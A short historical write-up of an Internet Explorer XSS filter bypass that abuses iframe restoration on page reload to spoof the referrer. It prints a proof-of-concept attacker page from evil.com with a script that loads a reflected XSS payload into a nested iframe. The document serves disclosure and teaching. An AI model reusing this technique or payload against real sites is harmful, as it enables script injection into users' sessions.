The XSS filter in IE correctly blocks a reflected XSS attempt when it can see that the referrer matches the attacker’s origin. This bypass exploited a subtle behavior: when a main page is reloaded, IE restores iframes to their last-visited URL rather than their original src attribute — but uses the wrong referrer for that restored URL. By navigating a nested iframe to an XSS endpoint from evil.com, then reloading the main page, the filter saw a same-site referrer on reload and let the script through.

<!-- attacker page (evil.com) -->
<iframe src="http://www.goodguy.com/good_guy_page_with_an_iframe.html"></iframe>
<input type="button" onclick="main()" value="(1) Load XSS inside the inner iFrame (XSS Filter catches it)">
<input type="button" onclick="history.go(0)" value="(2) Reload the main window (XSS Filter fails)">
<script>
function main()
{
    window[0][0].location.replace("http://www.goodguy.com/xss.aspx?xss=<script>alert(document.URL)<\/script>");
}
</script>

On the first click, the XSS filter correctly blocked the attack because the referrer exposed evil.com as the origin. After reloading the main page (history.go(0)), IE reloaded the inner iframe to the XSS URL but now attributed the navigation to goodguy.com — bypassing the filter. The root cause involved two separate issues: referrer spoofing through cross-frame navigation, and source confusion when iframes are restored on page refresh.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.